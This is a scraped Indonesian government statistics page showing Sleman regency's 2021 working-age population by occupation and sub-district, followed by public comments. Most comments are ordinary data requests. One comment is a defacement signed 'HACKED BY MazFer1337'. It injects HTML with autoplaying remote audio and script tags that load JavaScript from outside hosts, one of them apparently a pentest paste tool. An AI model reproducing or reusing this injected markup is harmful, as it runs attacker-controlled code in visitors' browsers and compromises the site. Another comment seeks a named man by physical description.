Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

JUMLAH PENDUDUK USIA KERJA KABUPATEN SLEMAN, D.I Yogyakarta SEMESTER I 2021
Menurut Jenis Pekerjaan

Silakan Login atau Daftar untuk mengunduh berkas
Kemantren / Kapanewon Bukan Angkatan Kerja Angkatan Kerja
MENGURUS RUMAH TANGGA PELAJAR/MAHASISWA PENSIUNAN BELUM BEKERJA ASN TNI POLRI PEJABAT NEGARA BURUH /TUKANG BERKEAHLIAN KHUSUS SEKTOR PERTANIAN /PETERNAKAN /PERIKANAN KARYAWAN BUMN/BUMD KARYAWAN SWASTA WIRASWASATA TENAGA MEDIS PEKERJAAN LAINNYA TOTAL
L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P
GAMPING 0 13.608 13.608 6.360 5.734 12.094 1.371 567 1.938 2.188 2.047 4.235 1.335 1.106 2.441 281 10 291 224 22 246 1 1 2 8.466 3.395 11.861 780 460 1.240 381 137 518 10.166 6.724 16.890 4.801 3.401 8.202 126 326 452 267 73 340 36.747 37.611 74.358
GODEAN 0 10.962 10.962 4.537 4.323 8.860 1.129 478 1.607 1.048 932 1.980 1.035 903 1.938 137 4 141 215 18 233 4 1 5 6.893 2.447 9.340 994 429 1.423 241 97 338 7.037 4.609 11.646 4.053 2.785 6.838 66 212 278 228 104 332 27.617 28.304 55.921
MOYUDAN 0 5.239 5.239 2.041 1.924 3.965 955 463 1.418 580 561 1.141 493 484 977 80 3 83 182 12 194 2 0 2 2.214 783 2.997 1.871 1.068 2.939 88 18 106 3.335 2.385 5.720 1.318 778 2.096 23 116 139 114 27 141 13.296 13.861 27.157
MINGGIR 0 5.101 5.101 1.803 1.718 3.521 764 313 1.077 789 655 1.444 459 451 910 68 0 68 182 7 189 4 0 4 1.726 466 2.192 2.736 1.762 4.498 52 18 70 2.818 2.164 4.982 1.261 687 1.948 25 139 164 117 28 145 12.804 13.509 26.313
SEYEGAN 0 8.875 8.875 2.988 3.046 6.034 691 257 948 1.034 917 1.951 659 573 1.232 124 3 127 194 9 203 2 0 2 6.337 1.653 7.990 1.705 1.067 2.772 82 26 108 4.199 2.721 6.920 1.766 1.398 3.164 20 115 135 131 28 159 19.932 20.688 40.620
MLATI 0 15.584 15.584 6.688 5.973 12.661 1.517 584 2.101 1.187 1.217 2.404 1.316 1.119 2.435 165 9 174 260 29 289 4 3 7 7.962 2.276 10.238 944 515 1.459 374 163 537 10.712 6.392 17.104 4.651 2.898 7.549 135 351 486 276 64 340 36.191 37.177 73.368
DEPOK 0 19.342 19.342 9.536 8.475 18.011 2.650 1.097 3.747 1.516 1.449 2.965 1.833 1.504 3.337 658 16 674 359 48 407 5 1 6 4.356 1.109 5.465 604 315 919 656 317 973 14.845 9.610 24.455 9.884 5.806 15.690 285 642 927 461 224 685 47.648 49.955 97.603
BERBAH 0 8.848 8.848 3.626 3.468 7.094 792 304 1.096 775 710 1.485 709 654 1.363 401 20 421 224 18 242 3 1 4 4.249 1.341 5.590 1.569 786 2.355 118 55 173 6.502 4.290 10.792 2.306 1.640 3.946 30 149 179 130 32 162 21.434 22.316 43.750
PRAMBANAN 0 6.666 6.666 2.589 2.689 5.278 622 206 828 976 894 1.870 499 381 880 168 6 174 141 12 153 1 1 2 6.492 3.522 10.014 2.603 2.833 5.436 73 31 104 4.656 3.024 7.680 1.807 1.288 3.095 13 70 83 132 32 164 20.772 21.655 42.427
KALASAN 0 13.599 13.599 6.182 5.475 11.657 1.456 486 1.942 1.262 995 2.257 1.179 956 2.135 340 19 359 319 31 350 4 0 4 5.665 1.354 7.019 2.201 1.294 3.495 304 105 409 9.866 6.578 16.444 3.344 2.260 5.604 66 252 318 216 28 244 32.404 33.432 65.836
NGEMPLAK 0 9.553 9.553 4.444 4.061 8.505 1.193 475 1.668 879 771 1.650 894 756 1.650 218 6 224 277 19 296 3 2 5 2.765 576 3.341 3.086 2.319 5.405 203 101 304 6.634 4.233 10.867 3.360 2.037 5.397 73 238 311 191 40 231 24.220 25.187 49.407
NGAGLIK 0 15.014 15.014 7.412 6.659 14.071 2.076 880 2.956 1.209 1.140 2.349 1.584 1.359 2.943 230 6 236 328 18 346 4 1 5 4.432 1.296 5.728 2.087 1.557 3.644 511 249 760 11.592 7.463 19.055 5.870 3.268 9.138 226 513 739 306 64 370 37.867 39.487 77.354
SLEMAN 0 11.085 11.085 4.680 4.453 9.133 1.060 575 1.635 1.281 1.104 2.385 1.031 910 1.941 210 8 218 357 39 396 3 2 5 6.796 2.320 9.116 2.261 1.451 3.712 216 121 337 6.365 4.329 10.694 2.589 1.407 3.996 43 195 238 168 55 223 27.060 28.054 55.114
TEMPEL 0 9.157 9.157 3.313 3.156 6.469 687 314 1.001 970 850 1.820 544 582 1.126 190 4 194 198 18 216 1 0 1 4.917 1.049 5.966 3.446 2.107 5.553 102 39 141 4.388 2.923 7.311 2.250 1.521 3.771 35 153 188 227 60 287 21.268 21.933 43.201
TURI 0 4.543 4.543 2.499 2.294 4.793 505 247 752 727 524 1.251 365 397 762 97 1 98 121 5 126 2 0 2 1.276 314 1.590 4.131 3.311 7.442 56 28 84 3.086 2.295 5.381 1.765 986 2.751 10 61 71 104 16 120 14.744 15.022 29.766
PAKEM 0 6.107 6.107 2.397 2.286 4.683 751 402 1.153 506 436 942 474 419 893 79 4 83 100 8 108 1 0 1 1.518 288 1.806 2.506 1.568 4.074 77 40 117 3.903 2.565 6.468 2.207 1.194 3.401 18 119 137 135 47 182 14.672 15.483 30.155
CANGKRINGAN 0 4.031 4.031 1.696 1.639 3.335 395 165 560 454 323 777 282 272 554 60 3 63 122 7 129 1 0 1 1.369 264 1.633 3.698 3.189 6.887 42 19 61 2.460 1.920 4.380 1.492 798 2.290 10 65 75 128 15 143 12.209 12.710 24.919
Jumlah 0 167.314 167.314 72.791 67.373 140.164 18.614 7.813 26.427 17.381 15.525 32.906 14.691 12.826 27.517 3.506 122 3.628 3.803 320 4.123 45 13 58 77.433 24.453 101.886 37.222 26.031 63.253 3.576 1.564 5.140 112.564 74.225 186.789 54.724 34.152 88.876 1.204 3.716 4.920 3.331 937 4.268 420.885 436.384 857.269
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY
Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih